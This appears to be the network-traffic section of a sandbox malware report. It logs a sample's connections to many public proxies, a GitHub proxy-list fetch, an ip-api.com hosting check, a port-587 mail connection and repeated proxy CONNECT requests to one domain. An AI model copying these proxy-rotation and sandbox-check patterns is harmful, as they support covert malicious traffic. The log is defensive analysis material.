Source: global traffic	TCP traffic: 192.168.2.9:50180 -> 51.15.187.125:5836
Source: global traffic	TCP traffic: 192.168.2.9:50182 -> 24.249.199.12:4145
Source: global traffic	TCP traffic: 192.168.2.9:50181 -> 139.255.132.68:1080
Source: global traffic	TCP traffic: 192.168.2.9:50183 -> 171.244.140.160:27020
Source: global traffic	TCP traffic: 192.168.2.9:50184 -> 45.8.21.43:3128
Source: global traffic	TCP traffic: 192.168.2.9:50185 -> 181.78.11.218:999
Source: global traffic	TCP traffic: 192.168.2.9:50188 -> 135.148.10.161:6716
Source: global traffic	TCP traffic: 192.168.2.9:50190 -> 51.159.134.210:3128
Source: global traffic	TCP traffic: 192.168.2.9:50192 -> 51.89.173.40:17982
Source: global traffic	TCP traffic: 192.168.2.9:50194 -> 37.34.72.132:4145
Source: global traffic	TCP traffic: 192.168.2.9:50195 -> 183.88.214.58:5678
Source: global traffic	TCP traffic: 192.168.2.9:50196 -> 47.88.3.19:8080
Source: global traffic	TCP traffic: 192.168.2.9:50199 -> 213.136.78.200:19925
Source: global traffic	TCP traffic: 192.168.2.9:50200 -> 174.64.199.82:4145
Source: global traffic	TCP traffic: 192.168.2.9:50201 -> 147.75.34.86:10000
Source: global traffic	TCP traffic: 192.168.2.9:50202 -> 178.152.101.130:8080
Source: global traffic	TCP traffic: 192.168.2.9:50203 -> 95.38.95.40:8085
Source: global traffic	TCP traffic: 192.168.2.9:50204 -> 170.247.43.142:32812
Source: global traffic	TCP traffic: 192.168.2.9:50208 -> 103.189.116.108:8080
Source: global traffic	TCP traffic: 192.168.2.9:50207 -> 41.174.152.226:5678
Source: global traffic	TCP traffic: 192.168.2.9:50209 -> 50.63.12.33:22450
Source: global traffic	TCP traffic: 192.168.2.9:50210 -> 86.8.163.88:9150
Source: global traffic	TCP traffic: 192.168.2.9:50211 -> 103.105.55.170:8085
Source: global traffic	TCP traffic: 192.168.2.9:50216 -> 195.231.72.187:1080
Source: global traffic	TCP traffic: 192.168.2.9:50215 -> 103.105.76.214:9090
Source: global traffic	TCP traffic: 192.168.2.9:50218 -> 191.97.9.228:999
Source: global traffic	TCP traffic: 192.168.2.9:50219 -> 107.180.95.177:7128
Source: global traffic	TCP traffic: 192.168.2.9:50223 -> 103.47.175.161:83
Source: global traffic	TCP traffic: 192.168.2.9:50225 -> 176.106.22.125:8080
Source: global traffic	TCP traffic: 192.168.2.9:50227 -> 43.133.136.208:8800
Source: global traffic	TCP traffic: 192.168.2.9:50224 -> 194.247.173.17:8080
Source: global traffic	TCP traffic: 192.168.2.9:50222 -> 132.148.128.8:54459
Source: global traffic	TCP traffic: 192.168.2.9:50226 -> 83.151.4.172:57812
Source: global traffic	TCP traffic: 192.168.2.9:50228 -> 110.77.149.20:4153
Source: global traffic	TCP traffic: 192.168.2.9:50229 -> 220.247.164.11:9990
Source: global traffic	TCP traffic: 192.168.2.9:50230 -> 191.179.216.84:8080
Source: global traffic	TCP traffic: 192.168.2.9:50231 -> 143.64.8.21:8080
Source: global traffic	TCP traffic: 192.168.2.9:50232 -> 85.196.179.34:8080
Source: global traffic	TCP traffic: 192.168.2.9:50233 -> 103.88.221.194:46450
Source: global traffic	TCP traffic: 192.168.2.9:50235 -> 136.54.39.34:8118
Source: global traffic	TCP traffic: 192.168.2.9:50236 -> 148.135.46.242:3128
Source: global traffic	TCP traffic: 192.168.2.9:50238 -> 200.7.8.74:8080
Source: global traffic	TCP traffic: 192.168.2.9:50239 -> 13.234.24.116:3128
Source: global traffic	TCP traffic: 192.168.2.9:50241 -> 3.24.58.156:3128
Source: global traffic	TCP traffic: 192.168.2.9:50242 -> 203.96.177.211:12183
Source: global traffic	TCP traffic: 192.168.2.9:50246 -> 154.73.28.157:8080
Source: global traffic	TCP traffic: 192.168.2.9:50248 -> 20.219.235.172:3129
Source: global traffic	TCP traffic: 192.168.2.9:50249 -> 185.49.31.207:8081
Source: global traffic	TCP traffic: 192.168.2.9:50251 -> 185.118.153.110:8080
Source: global traffic	TCP traffic: 192.168.2.9:50254 -> 2.139.2.212:4145
Source: global traffic	TCP traffic: 192.168.2.9:50255 -> 103.117.109.9:4153
Source: global traffic	TCP traffic: 192.168.2.9:50256 -> 35.199.90.225:8888
Source: global traffic	TCP traffic: 192.168.2.9:50257 -> 103.153.62.191:8080
Source: global traffic	TCP traffic: 192.168.2.9:50258 -> 121.206.205.75:4216
Source: global traffic	TCP traffic: 192.168.2.9:50259 -> 141.95.86.243:9050
Source: global traffic	TCP traffic: 192.168.2.9:50260 -> 202.165.38.185:17538
Source: global traffic	TCP traffic: 192.168.2.9:50261 -> 160.153.254.240:48502
Source: global traffic	TCP traffic: 192.168.2.9:50262 -> 138.121.15.229:999
Source: global traffic	TCP traffic: 192.168.2.9:50266 -> 41.33.203.115:1974
Source: global traffic	TCP traffic: 192.168.2.9:50267 -> 137.59.50.41:8080
Source: global traffic	TCP traffic: 192.168.2.9:50271 -> 37.187.91.192:21981
Source: global traffic	TCP traffic: 192.168.2.9:50272 -> 185.109.184.150:53155
Source: global traffic	TCP traffic: 192.168.2.9:50273 -> 157.245.82.62:59347
Source: global traffic	TCP traffic: 192.168.2.9:50276 -> 144.91.107.252:18940
Source: global traffic	TCP traffic: 192.168.2.9:50275 -> 111.59.4.88:9002
Source: global traffic	TCP traffic: 192.168.2.9:50277 -> 181.204.0.36:999
Source: global traffic	TCP traffic: 192.168.2.9:50279 -> 41.65.67.167:1976
Source: global traffic	TCP traffic: 192.168.2.9:50280 -> 183.62.58.37:1080
Source: global traffic	TCP traffic: 192.168.2.9:50282 -> 199.102.105.242:4145
Source: global traffic	TCP traffic: 192.168.2.9:50285 -> 171.235.166.222:4019
Source: global traffic	TCP traffic: 192.168.2.9:50287 -> 104.37.135.145:4145
Source: global traffic	TCP traffic: 192.168.2.9:50291 -> 101.51.196.145:4145
Source: global traffic	TCP traffic: 192.168.2.9:50290 -> 178.236.246.53:3128
Source: global traffic	TCP traffic: 192.168.2.9:50294 -> 190.97.238.89:999
Source: global traffic	TCP traffic: 192.168.2.9:50297 -> 217.172.122.14:8080
Source: global traffic	TCP traffic: 192.168.2.9:50298 -> 201.184.63.218:8080
Source: global traffic	TCP traffic: 192.168.2.9:50299 -> 85.117.60.162:8080
Source: global traffic	TCP traffic: 192.168.2.9:50300 -> 103.24.107.186:8080
Source: global traffic	TCP traffic: 192.168.2.9:50302 -> 177.93.44.53:999
Source: global traffic	TCP traffic: 192.168.2.9:50305 -> 187.62.89.252:4153
Source: global traffic	TCP traffic: 192.168.2.9:50307 -> 36.95.84.151:41890
Source: global traffic	TCP traffic: 192.168.2.9:50306 -> 95.84.166.138:8080
Source: global traffic	TCP traffic: 192.168.2.9:50309 -> 91.142.222.84:22735
Source: global traffic	TCP traffic: 192.168.2.9:50311 -> 109.120.218.158:10801
Source: global traffic	TCP traffic: 192.168.2.9:50313 -> 108.175.24.1:13135
Source: global traffic	TCP traffic: 192.168.2.9:50315 -> 103.42.28.27:45787
Source: global traffic	TCP traffic: 192.168.2.9:50316 -> 81.44.83.70:8080
Source: global traffic	TCP traffic: 192.168.2.9:50318 -> 185.40.80.143:4153
Source: global traffic	TCP traffic: 192.168.2.9:50317 -> 213.136.75.85:59058
Source: global traffic	TCP traffic: 192.168.2.9:50320 -> 72.10.160.94:16683
Source: global traffic	TCP traffic: 192.168.2.9:50321 -> 85.221.249.213:8080
Source: global traffic	TCP traffic: 192.168.2.9:50322 -> 46.161.194.91:8085
Source: global traffic	TCP traffic: 192.168.2.9:50324 -> 67.205.190.164:8080
Source: global traffic	TCP traffic: 192.168.2.9:50327 -> 161.97.170.209:62291
Source: global traffic	TCP traffic: 192.168.2.9:50328 -> 117.10.124.11:1080
Source: global traffic	TCP traffic: 192.168.2.9:50330 -> 162.214.75.237:41847
Source: global traffic	TCP traffic: 192.168.2.9:50332 -> 181.13.198.90:4153
Source: global traffic	TCP traffic: 192.168.2.9:50333 -> 47.100.91.57:8080
Source: global traffic	TCP traffic: 192.168.2.9:50335 -> 45.240.182.120:1976
Source: global traffic	TCP traffic: 192.168.2.9:50336 -> 45.226.48.6:4153
Source: global traffic	TCP traffic: 192.168.2.9:50338 -> 68.169.60.220:8380
Source: global traffic	TCP traffic: 192.168.2.9:50337 -> 159.203.61.169:3128
Source: global traffic	TCP traffic: 192.168.2.9:50334 -> 184.178.172.18:15280
Source: global traffic	TCP traffic: 192.168.2.9:50339 -> 31.43.203.100:1080
Source: global traffic	TCP traffic: 192.168.2.9:50340 -> 162.144.32.209:27907
Source: global traffic	TCP traffic: 192.168.2.9:50341 -> 119.18.152.139:4145
Source: global traffic	TCP traffic: 192.168.2.9:50343 -> 185.56.180.14:5678
Source: global traffic	TCP traffic: 192.168.2.9:50345 -> 38.54.6.39:9080
Source: global traffic	TCP traffic: 192.168.2.9:50348 -> 46.250.25.225:53281
Source: global traffic	TCP traffic: 192.168.2.9:50349 -> 18.135.133.116:3128
Source: global traffic	TCP traffic: 192.168.2.9:50350 -> 5.58.33.187:55507
Source: global traffic	TCP traffic: 192.168.2.9:50351 -> 139.59.90.148:14066
Source: global traffic	TCP traffic: 192.168.2.9:50353 -> 51.15.133.214:16379
Source: global traffic	TCP traffic: 192.168.2.9:50354 -> 47.114.101.57:8888
Source: global traffic	TCP traffic: 192.168.2.9:50355 -> 31.44.82.2:38080
Source: global traffic	TCP traffic: 192.168.2.9:50356 -> 178.94.231.93:3128
Source: global traffic	TCP traffic: 192.168.2.9:50357 -> 72.195.101.99:4145
Source: global traffic	TCP traffic: 192.168.2.9:50359 -> 209.126.5.138:63886
Source: global traffic	TCP traffic: 192.168.2.9:50358 -> 103.159.220.157:5678
Source: global traffic	TCP traffic: 192.168.2.9:50360 -> 124.120.113.165:8080
Source: global traffic	TCP traffic: 192.168.2.9:50364 -> 162.214.170.144:32233
Source: global traffic	TCP traffic: 192.168.2.9:50366 -> 84.22.45.175:1080
Source: global traffic	TCP traffic: 192.168.2.9:50365 -> 189.85.82.38:3128
Source: global traffic	TCP traffic: 192.168.2.9:50368 -> 207.244.229.34:2275
Source: global traffic	TCP traffic: 192.168.2.9:50369 -> 67.43.228.250:2509
Source: global traffic	TCP traffic: 192.168.2.9:50370 -> 51.15.142.4:16379
Source: global traffic	TCP traffic: 192.168.2.9:50371 -> 91.135.80.66:33427
Source: global traffic	TCP traffic: 192.168.2.9:50372 -> 165.227.104.122:58839
Source: global traffic	TCP traffic: 192.168.2.9:50373 -> 8.210.208.148:19001
Source: global traffic	TCP traffic: 192.168.2.9:50374 -> 47.229.171.150:3128
Source: global traffic	TCP traffic: 192.168.2.9:50375 -> 162.240.72.139:37445
Source: global traffic	TCP traffic: 192.168.2.9:50376 -> 95.47.149.8:8080
Source: global traffic	TCP traffic: 192.168.2.9:50378 -> 94.23.220.136:21062
Source: global traffic	TCP traffic: 192.168.2.9:50379 -> 178.245.145.234:3128
Source: global traffic	TCP traffic: 192.168.2.9:50380 -> 43.132.184.228:8181
Source: global traffic	TCP traffic: 192.168.2.9:50381 -> 45.11.95.166:6012
Source: global traffic	TCP traffic: 192.168.2.9:50382 -> 103.137.91.250:8080
Source: global traffic	TCP traffic: 192.168.2.9:50383 -> 109.87.130.6:5678
Source: global traffic	TCP traffic: 192.168.2.9:50385 -> 162.144.79.97:59559
Source: global traffic	TCP traffic: 192.168.2.9:50386 -> 113.160.227.166:5678
Source: global traffic	TCP traffic: 192.168.2.9:50390 -> 98.181.137.80:4145
Source: global traffic	TCP traffic: 192.168.2.9:50394 -> 103.147.128.65:83
Source: global traffic	TCP traffic: 192.168.2.9:50395 -> 87.126.65.11:1388
Source: global traffic	TCP traffic: 192.168.2.9:50396 -> 162.243.102.207:9764
Source: global traffic	TCP traffic: 192.168.2.9:50397 -> 209.222.97.30:19481
Source: global traffic	TCP traffic: 192.168.2.9:50399 -> 101.250.10.211:1080
Source: global traffic	TCP traffic: 192.168.2.9:50402 -> 191.97.19.66:999
Source: global traffic	TCP traffic: 192.168.2.9:50403 -> 201.218.144.19:999
Source: global traffic	TCP traffic: 192.168.2.9:50404 -> 51.161.33.206:44523
Source: global traffic	TCP traffic: 192.168.2.9:50405 -> 175.101.15.41:4153
Source: global traffic	TCP traffic: 192.168.2.9:50407 -> 185.139.56.133:4145
Source: global traffic	TCP traffic: 192.168.2.9:50410 -> 45.6.229.227:4145
Source: global traffic	TCP traffic: 192.168.2.9:50411 -> 80.90.83.191:5678
Source: global traffic	TCP traffic: 192.168.2.9:50412 -> 103.42.57.13:3128
Source: global traffic	TCP traffic: 192.168.2.9:50413 -> 178.62.79.49:16614
Source: global traffic	TCP traffic: 192.168.2.9:50415 -> 38.156.73.61:8080
Source: global traffic	TCP traffic: 192.168.2.9:50417 -> 62.112.10.26:8080
Source: global traffic	TCP traffic: 192.168.2.9:50419 -> 43.131.245.216:15673
Source: global traffic	TCP traffic: 192.168.2.9:50421 -> 107.181.168.145:4145
Source: global traffic	TCP traffic: 192.168.2.9:50420 -> 128.199.221.91:21605
Source: global traffic	TCP traffic: 192.168.2.9:50422 -> 66.63.168.119:8000
Source: global traffic	TCP traffic: 192.168.2.9:50423 -> 45.81.232.17:59421
Source: global traffic	TCP traffic: 192.168.2.9:50425 -> 103.92.235.60:20828

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 212.110.188.202 212.110.188.202
Source: Joe Sandbox View	IP Address: 212.110.188.202 212.110.188.202
Source: Joe Sandbox View	IP Address: 24.230.33.96 24.230.33.96
Source: Joe Sandbox View	IP Address: 43.128.107.251 43.128.107.251

Source: Joe Sandbox View

ASN Name: BYTEMARK-ASGB BYTEMARK-ASGB

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.9:54619 -> 160.248.80.91:587

Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
